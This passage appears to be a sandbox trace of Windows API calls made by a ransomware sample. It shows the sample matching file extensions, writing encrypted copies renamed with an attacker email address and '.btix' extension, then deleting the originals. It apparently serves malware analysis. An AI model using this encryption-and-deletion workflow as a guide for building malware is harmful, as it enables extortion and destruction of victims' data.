-1 [0071.482] lstrlenW (lpString=".ppt") returned 4 [0071.482] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.482] lstrlenW (lpString=".zip") returned 4 [0071.482] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.482] lstrlenW (lpString=".rar") returned 4 [0071.482] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString=".bz2") returned 4 [0071.482] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString=".7z") returned 3 [0071.482] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.482] lstrlenW (lpString=".dbf") returned 4 [0071.482] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.482] lstrlenW (lpString=".1cd") returned 4 [0071.482] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.482] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD00814_.WMF") returned 68 [0071.482] lstrlenW (lpString=".jpg") returned 4 [0071.482] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.482] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.482] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.483] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x388 [0071.483] GetLastError () returned 0x0 [0071.483] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x329e, lpOverlapped=0x0) returned 1 [0071.505] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0x32a0, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0x32a0, lpOverlapped=0x0) returned 1 [0071.505] ReadFile (in: hFile=0x2d8, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesRead=0x352fecc*=0x0, lpOverlapped=0x0) returned 1 [0071.505] WriteFile (in: hFile=0x388, lpBuffer=0x3f40020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x352fc94, lpOverlapped=0x0 | out: lpBuffer=0x3f40020*, lpNumberOfBytesWritten=0x352fc94*=0xec, lpOverlapped=0x0) returned 1 [0071.506] SetEndOfFile (hFile=0x388) returned 1 [0071.506] CloseHandle (hObject=0x388) returned 1 [0071.506] SetFilePointerEx (in: hFile=0x2d8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.506] SetEndOfFile (hFile=0x2d8) returned 1 [0071.507] CloseHandle (hObject=0x2d8) returned 1 [0071.507] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x220) returned 1 [0071.507] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd01660_.wmf")) returned 1 [0071.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.508] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.508] lstrlenW (lpString=".doc") returned 4 [0071.508] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0071.508] lstrlenW (lpString=".docx") returned 5 [0071.508] lstrcmpiW (lpString1=".docx", lpString2="_.WMF") returned -1 [0071.509] lstrlenW (lpString=".pdf") returned 4 [0071.509] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString=".xls") returned 4 [0071.509] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0071.509] lstrlenW (lpString=".xlsx") returned 5 [0071.509] lstrcmpiW (lpString1=".xlsx", lpString2="_.WMF") returned -1 [0071.509] lstrlenW (lpString=".ppt") returned 4 [0071.509] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.509] lstrlenW (lpString=".zip") returned 4 [0071.509] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0071.509] lstrlenW (lpString=".rar") returned 4 [0071.509] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString=".bz2") returned 4 [0071.509] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString=".7z") returned 3 [0071.509] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0071.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.509] lstrlenW (lpString=".dbf") returned 4 [0071.509] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.509] lstrlenW (lpString=".1cd") returned 4 [0071.509] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0071.509] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD01660_.WMF") returned 68 [0071.509] lstrlenW (lpString=".jpg") returned 4 [0071.509] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0071.511] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.511] SetFilePointerEx (in: hFile=0x388, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x352fec0 | out: lpNewFilePointer=0x0) returned 1 [0071.511] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\FD02097_.WMF.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\fd02097_.wmf.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x354 [0071.513] GetLastError () returned 0x0 [0071.513] ReadFile (hFile=0x388, lpBuffer=0x3f40020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x352fecc, lpOverlapped=0x0) Thread: id = 19 os_tid = 0xfec [0040.842] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3ca1248 [0040.842] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10000) returned 0x3cb1250 [0040.843] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecae8 [0040.843] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x6) returned 0x71d060 [0040.843] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc20 [0040.843] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x100000) returned 0x4054020 [0040.845] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecb00 [0040.845] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecb00, Size=0x20) returned 0x6ce7c8 [0040.845] RtlAllocateHeap (HeapHandle=0x690000, Flags=0x0, Size=0x10) returned 0x6ecc38 [0040.845] RtlReAllocateHeap (Heap=0x690000, Flags=0x0, Ptr=0x6ecc38, Size=0x20) returned 0x6ce7f0 [0040.845] GetModuleHandleW (lpModuleName="kernel32.dll") returned 0x75e90000 [0040.845] GetProcAddress (hModule=0x75e90000, lpProcName="Wow64DisableWow64FsRedirection") returned 0x75ea6b30 [0040.845] Wow64DisableWow64FsRedirection (in: OldValue=0x366ff50 | out: OldValue=0x366ff50*=0x0) returned 1 [0040.845] lstrlenW (lpString="kernel32.dll") returned 12 [0040.846] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7c8 | out: hHeap=0x690000) returned 1 [0040.846] lstrlenA (lpString="Wow64DisableWow64FsRedirection") returned 30 [0040.846] HeapFree (in: hHeap=0x690000, dwFlags=0x0, lpMem=0x6ce7f0 | out: hHeap=0x690000) returned 1 [0040.846] Sleep (dwMilliseconds=0x64) [0041.201] lstrcmpiW (lpString1=".log", lpString2=".btix") returned 1 [0041.201] lstrlenW (lpString="PartnerSetupCompleteResult.log") returned 30 [0041.201] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.634] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=40) returned 1 [0041.634] CloseHandle (hObject=0x31c) returned 1 [0041.634] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 0x20 [0041.635] GetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.635] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.635] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.635] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.635] CreateFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.635] GetLastError () returned 0x0 [0041.635] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x28, lpOverlapped=0x0) returned 1 [0041.645] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x30, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x30, lpOverlapped=0x0) returned 1 [0041.645] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.646] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x110, lpOverlapped=0x0) returned 1 [0041.646] SetEndOfFile (hFile=0x320) returned 1 [0041.646] CloseHandle (hObject=0x320) returned 1 [0041.646] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.646] SetEndOfFile (hFile=0x31c) returned 1 [0041.647] CloseHandle (hObject=0x31c) returned 1 [0041.647] SetFileAttributesW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x20) returned 1 [0041.647] DeleteFileW (lpFileName="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log" (normalized: "c:\\$getcurrent\\logs\\partnersetupcompleteresult.log")) returned 1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString=".doc") returned 4 [0041.648] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.648] lstrlenW (lpString=".docx") returned 5 [0041.648] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0041.648] lstrlenW (lpString=".pdf") returned 4 [0041.648] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.648] lstrlenW (lpString=".xls") returned 4 [0041.648] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.648] lstrlenW (lpString=".xlsx") returned 5 [0041.648] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0041.648] lstrlenW (lpString=".ppt") returned 4 [0041.648] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString=".zip") returned 4 [0041.648] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.648] lstrlenW (lpString=".rar") returned 4 [0041.648] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.648] lstrlenW (lpString=".bz2") returned 4 [0041.648] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.648] lstrlenW (lpString=".7z") returned 3 [0041.648] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString=".dbf") returned 4 [0041.648] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString=".1cd") returned 4 [0041.648] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString=".jpg") returned 4 [0041.648] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.648] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.649] lstrlenW (lpString=".doc") returned 4 [0041.649] lstrcmpiW (lpString1=".doc", lpString2=".log") returned -1 [0041.649] lstrlenW (lpString=".docx") returned 5 [0041.649] lstrcmpiW (lpString1=".docx", lpString2="t.log") returned -1 [0041.649] lstrlenW (lpString=".pdf") returned 4 [0041.649] lstrcmpiW (lpString1=".pdf", lpString2=".log") returned 1 [0041.649] lstrlenW (lpString=".xls") returned 4 [0041.649] lstrcmpiW (lpString1=".xls", lpString2=".log") returned 1 [0041.649] lstrlenW (lpString=".xlsx") returned 5 [0041.649] lstrcmpiW (lpString1=".xlsx", lpString2="t.log") returned -1 [0041.649] lstrlenW (lpString=".ppt") returned 4 [0041.649] lstrcmpiW (lpString1=".ppt", lpString2=".log") returned 1 [0041.649] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.649] lstrlenW (lpString=".zip") returned 4 [0041.649] lstrcmpiW (lpString1=".zip", lpString2=".log") returned 1 [0041.649] lstrlenW (lpString=".rar") returned 4 [0041.649] lstrcmpiW (lpString1=".rar", lpString2=".log") returned 1 [0041.649] lstrlenW (lpString=".bz2") returned 4 [0041.649] lstrcmpiW (lpString1=".bz2", lpString2=".log") returned -1 [0041.649] lstrlenW (lpString=".7z") returned 3 [0041.649] lstrcmpiW (lpString1=".7z", lpString2="log") returned -1 [0041.649] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.649] lstrlenW (lpString=".dbf") returned 4 [0041.649] lstrcmpiW (lpString1=".dbf", lpString2=".log") returned -1 [0041.649] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.649] lstrlenW (lpString=".1cd") returned 4 [0041.649] lstrcmpiW (lpString1=".1cd", lpString2=".log") returned -1 [0041.649] lstrlenW (lpString="C:\\$GetCurrent\\Logs\\PartnerSetupCompleteResult.log") returned 50 [0041.649] lstrlenW (lpString=".jpg") returned 4 [0041.649] lstrcmpiW (lpString1=".jpg", lpString2=".log") returned -1 [0041.649] lstrcmpiW (lpString1=".ini", lpString2=".btix") returned 1 [0041.649] lstrlenW (lpString="desktop.ini") returned 11 [0041.650] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.650] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=129) returned 1 [0041.650] CloseHandle (hObject=0x31c) returned 1 [0041.650] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 0x26 [0041.650] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.650] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.650] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.650] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.650] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x320 [0041.667] GetLastError () returned 0x0 [0041.667] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x81, lpOverlapped=0x0) returned 1 [0041.668] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0x90, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0x90, lpOverlapped=0x0) returned 1 [0041.668] ReadFile (in: hFile=0x31c, lpBuffer=0x4054020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x366fecc, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesRead=0x366fecc*=0x0, lpOverlapped=0x0) returned 1 [0041.668] WriteFile (in: hFile=0x320, lpBuffer=0x4054020*, nNumberOfBytesToWrite=0xea, lpNumberOfBytesWritten=0x366fc94, lpOverlapped=0x0 | out: lpBuffer=0x4054020*, lpNumberOfBytesWritten=0x366fc94*=0xea, lpOverlapped=0x0) returned 1 [0041.668] SetEndOfFile (hFile=0x320) returned 1 [0041.669] CloseHandle (hObject=0x320) returned 1 [0041.669] SetFilePointerEx (in: hFile=0x31c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x366fec0 | out: lpNewFilePointer=0x0) returned 1 [0041.669] SetEndOfFile (hFile=0x31c) returned 1 [0041.670] CloseHandle (hObject=0x31c) returned 1 [0041.670] SetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix", dwFileAttributes=0x26) returned 1 [0041.670] DeleteFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-18\\desktop.ini")) returned 1 [0041.670] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.670] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.670] lstrlenW (lpString=".doc") returned 4 [0041.670] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.670] lstrlenW (lpString=".docx") returned 5 [0041.671] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.671] lstrlenW (lpString=".pdf") returned 4 [0041.671] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString=".xls") returned 4 [0041.671] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString=".xlsx") returned 5 [0041.671] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.671] lstrlenW (lpString=".ppt") returned 4 [0041.671] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString=".zip") returned 4 [0041.671] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString=".rar") returned 4 [0041.671] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString=".bz2") returned 4 [0041.671] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.671] lstrlenW (lpString=".7z") returned 3 [0041.671] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString=".dbf") returned 4 [0041.671] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString=".1cd") returned 4 [0041.671] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString=".jpg") returned 4 [0041.671] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.671] lstrlenW (lpString=".doc") returned 4 [0041.671] lstrcmpiW (lpString1=".doc", lpString2=".ini") returned -1 [0041.671] lstrlenW (lpString=".docx") returned 5 [0041.671] lstrcmpiW (lpString1=".docx", lpString2="p.ini") returned -1 [0041.671] lstrlenW (lpString=".pdf") returned 4 [0041.672] lstrcmpiW (lpString1=".pdf", lpString2=".ini") returned 1 [0041.672] lstrlenW (lpString=".xls") returned 4 [0041.672] lstrcmpiW (lpString1=".xls", lpString2=".ini") returned 1 [0041.672] lstrlenW (lpString=".xlsx") returned 5 [0041.672] lstrcmpiW (lpString1=".xlsx", lpString2="p.ini") returned -1 [0041.672] lstrlenW (lpString=".ppt") returned 4 [0041.672] lstrcmpiW (lpString1=".ppt", lpString2=".ini") returned 1 [0041.672] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.672] lstrlenW (lpString=".zip") returned 4 [0041.672] lstrcmpiW (lpString1=".zip", lpString2=".ini") returned 1 [0041.672] lstrlenW (lpString=".rar") returned 4 [0041.672] lstrcmpiW (lpString1=".rar", lpString2=".ini") returned 1 [0041.672] lstrlenW (lpString=".bz2") returned 4 [0041.672] lstrcmpiW (lpString1=".bz2", lpString2=".ini") returned -1 [0041.672] lstrlenW (lpString=".7z") returned 3 [0041.672] lstrcmpiW (lpString1=".7z", lpString2="ini") returned -1 [0041.672] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.672] lstrlenW (lpString=".dbf") returned 4 [0041.672] lstrcmpiW (lpString1=".dbf", lpString2=".ini") returned -1 [0041.672] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.672] lstrlenW (lpString=".1cd") returned 4 [0041.672] lstrcmpiW (lpString1=".1cd", lpString2=".ini") returned -1 [0041.672] lstrlenW (lpString="C:\\$Recycle.Bin\\S-1-5-18\\desktop.ini") returned 36 [0041.672] lstrlenW (lpString=".jpg") returned 4 [0041.672] lstrcmpiW (lpString1=".jpg", lpString2=".ini") returned 1 [0041.672] lstrcmpiW (lpString1=".ini", lpString2=".btix") returned 1 [0041.672] lstrlenW (lpString="desktop.ini") returned 11 [0041.672] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c [0041.673] GetFileSizeEx (in: hFile=0x31c, lpFileSize=0x366ff14 | out: lpFileSize=0x366ff14*=129) returned 1 [0041.673] CloseHandle (hObject=0x31c) returned 1 [0041.673] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini")) returned 0x26 [0041.673] GetFileAttributesW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-B4197730.[encrypt11@cock.li].btix" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini.id-b4197730.[encrypt11@cock.li].btix")) returned 0xffffffff [0041.673] CreateFileW (lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini" (normalized: "c:\\$recycle.bin\\s-1-5-21-1051304884-625712362-2192934891-1000\\desktop.ini"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x31c 